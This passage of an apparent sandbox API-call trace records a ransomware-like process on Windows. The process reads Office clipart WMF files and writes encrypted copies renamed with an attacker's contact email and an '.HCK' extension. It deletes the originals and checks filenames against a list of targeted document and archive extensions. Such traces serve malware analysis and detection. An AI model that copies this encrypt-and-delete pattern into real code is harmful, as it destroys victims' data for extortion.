lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xe80, lpOverlapped=0x0) returned 1 [0169.104] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.104] WriteFile (in: hFile=0x354, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.104] SetEndOfFile (hFile=0x354) returned 1 [0169.106] CloseHandle (hObject=0x354) returned 1 [0169.106] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.106] SetEndOfFile (hFile=0x308) returned 1 [0169.112] CloseHandle (hObject=0x308) returned 1 [0169.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf")) returned 1 [0169.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.116] lstrlenW (lpString=".doc") returned 4 [0169.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.116] lstrlenW (lpString=".docx") returned 5 [0169.116] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.116] lstrlenW (lpString=".pdf") returned 4 [0169.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.116] lstrlenW (lpString=".xls") returned 4 [0169.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.116] lstrlenW (lpString=".xlsx") returned 5 [0169.116] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.116] lstrlenW (lpString=".ppt") returned 4 [0169.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.116] lstrlenW (lpString=".zip") returned 4 [0169.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.116] lstrlenW (lpString=".rar") returned 4 [0169.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.116] lstrlenW (lpString=".bz2") returned 4 [0169.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.116] lstrlenW (lpString=".7z") returned 3 [0169.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.116] lstrlenW (lpString=".dbf") returned 4 [0169.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.116] lstrlenW (lpString=".1cd") returned 4 [0169.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.117] lstrlenW (lpString=".jpg") returned 4 [0169.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.117] lstrlenW (lpString=".doc") returned 4 [0169.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString=".docx") returned 5 [0169.117] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.117] lstrlenW (lpString=".pdf") returned 4 [0169.117] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString=".xls") returned 4 [0169.117] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.117] lstrlenW (lpString=".xlsx") returned 5 [0169.117] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.117] lstrlenW (lpString=".ppt") returned 4 [0169.117] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.117] lstrlenW (lpString=".zip") returned 4 [0169.117] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.117] lstrlenW (lpString=".rar") returned 4 [0169.117] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString=".bz2") returned 4 [0169.117] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString=".7z") returned 3 [0169.117] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.117] lstrlenW (lpString=".dbf") returned 4 [0169.117] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.117] lstrlenW (lpString=".1cd") returned 4 [0169.117] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF") returned 68 [0169.117] lstrlenW (lpString=".jpg") returned 4 [0169.117] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.117] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.117] lstrlenW (lpString="J0153302.WMF") returned 12 [0169.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.119] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=30800) returned 1 [0169.119] CloseHandle (hObject=0x2ec) returned 1 [0169.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 0x220 [0169.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0169.127] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.127] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.134] GetLastError () returned 0x0 [0169.134] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7850, lpOverlapped=0x0) returned 1 [0169.137] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7860, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7860, lpOverlapped=0x0) returned 1 [0169.137] ReadFile (in: hFile=0x354, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.137] WriteFile (in: hFile=0x2ec, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.138] SetEndOfFile (hFile=0x2ec) returned 1 [0169.142] CloseHandle (hObject=0x2ec) returned 1 [0169.142] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.142] SetEndOfFile (hFile=0x354) returned 1 [0169.147] CloseHandle (hObject=0x354) returned 1 [0169.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153302.wmf")) returned 1 [0169.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.151] lstrlenW (lpString=".doc") returned 4 [0169.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.151] lstrlenW (lpString=".docx") returned 5 [0169.151] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.151] lstrlenW (lpString=".pdf") returned 4 [0169.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.151] lstrlenW (lpString=".xls") returned 4 [0169.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.151] lstrlenW (lpString=".xlsx") returned 5 [0169.151] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.151] lstrlenW (lpString=".ppt") returned 4 [0169.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.151] lstrlenW (lpString=".zip") returned 4 [0169.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.151] lstrlenW (lpString=".rar") returned 4 [0169.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.151] lstrlenW (lpString=".bz2") returned 4 [0169.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.151] lstrlenW (lpString=".7z") returned 3 [0169.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.151] lstrlenW (lpString=".dbf") returned 4 [0169.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.151] lstrlenW (lpString=".1cd") returned 4 [0169.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.151] lstrlenW (lpString=".jpg") returned 4 [0169.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.152] lstrlenW (lpString=".doc") returned 4 [0169.152] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString=".docx") returned 5 [0169.152] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0169.152] lstrlenW (lpString=".pdf") returned 4 [0169.152] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString=".xls") returned 4 [0169.152] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.152] lstrlenW (lpString=".xlsx") returned 5 [0169.152] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.152] lstrlenW (lpString=".ppt") returned 4 [0169.152] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.152] lstrlenW (lpString=".zip") returned 4 [0169.152] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.152] lstrlenW (lpString=".rar") returned 4 [0169.152] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString=".bz2") returned 4 [0169.152] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString=".7z") returned 3 [0169.152] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.152] lstrlenW (lpString=".dbf") returned 4 [0169.152] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.152] lstrlenW (lpString=".1cd") returned 4 [0169.152] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153302.WMF") returned 68 [0169.152] lstrlenW (lpString=".jpg") returned 4 [0169.152] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.152] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.152] lstrlenW (lpString="J0153398.WMF") returned 12 [0169.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.156] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=17508) returned 1 [0169.156] CloseHandle (hObject=0x394) returned 1 [0169.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 0x220 [0169.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.163] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.163] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.173] GetLastError () returned 0x0 [0169.173] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x4464, lpOverlapped=0x0) returned 1 [0169.174] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4470, lpOverlapped=0x0) returned 1 [0169.175] ReadFile (in: hFile=0x330, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.175] WriteFile (in: hFile=0x394, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.175] SetEndOfFile (hFile=0x394) returned 1 [0169.180] CloseHandle (hObject=0x394) returned 1 [0169.182] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.182] SetEndOfFile (hFile=0x330) returned 1 [0169.186] CloseHandle (hObject=0x330) returned 1 [0169.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.188] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0169.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.189] lstrlenW (lpString=".doc") returned 4 [0169.189] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.189] lstrlenW (lpString=".docx") returned 5 [0169.189] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.189] lstrlenW (lpString=".pdf") returned 4 [0169.189] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.189] lstrlenW (lpString=".xls") returned 4 [0169.189] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.189] lstrlenW (lpString=".xlsx") returned 5 [0169.190] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.190] lstrlenW (lpString=".ppt") returned 4 [0169.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.190] lstrlenW (lpString=".zip") returned 4 [0169.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.190] lstrlenW (lpString=".rar") returned 4 [0169.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString=".bz2") returned 4 [0169.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString=".7z") returned 3 [0169.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.190] lstrlenW (lpString=".dbf") returned 4 [0169.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.190] lstrlenW (lpString=".1cd") returned 4 [0169.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.190] lstrlenW (lpString=".jpg") returned 4 [0169.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.190] lstrlenW (lpString=".doc") returned 4 [0169.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString=".docx") returned 5 [0169.190] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0169.190] lstrlenW (lpString=".pdf") returned 4 [0169.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString=".xls") returned 4 [0169.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.190] lstrlenW (lpString=".xlsx") returned 5 [0169.190] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0169.190] lstrlenW (lpString=".ppt") returned 4 [0169.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.190] lstrlenW (lpString=".zip") returned 4 [0169.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.190] lstrlenW (lpString=".rar") returned 4 [0169.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString=".bz2") returned 4 [0169.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.190] lstrlenW (lpString=".7z") returned 3 [0169.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.191] lstrlenW (lpString=".dbf") returned 4 [0169.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.191] lstrlenW (lpString=".1cd") returned 4 [0169.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153398.WMF") returned 68 [0169.191] lstrlenW (lpString=".jpg") returned 4 [0169.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.191] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.191] lstrlenW (lpString="J0153516.WMF") returned 12 [0169.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.197] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=7432) returned 1 [0169.197] CloseHandle (hObject=0x394) returned 1 [0169.197] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 0x220 [0169.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0169.206] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.206] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0169.215] GetLastError () returned 0x0 [0169.215] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x1d08, lpOverlapped=0x0) returned 1 [0169.218] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x1d10, lpOverlapped=0x0) returned 1 [0169.219] ReadFile (in: hFile=0x388, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.219] WriteFile (in: hFile=0x398, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.219] 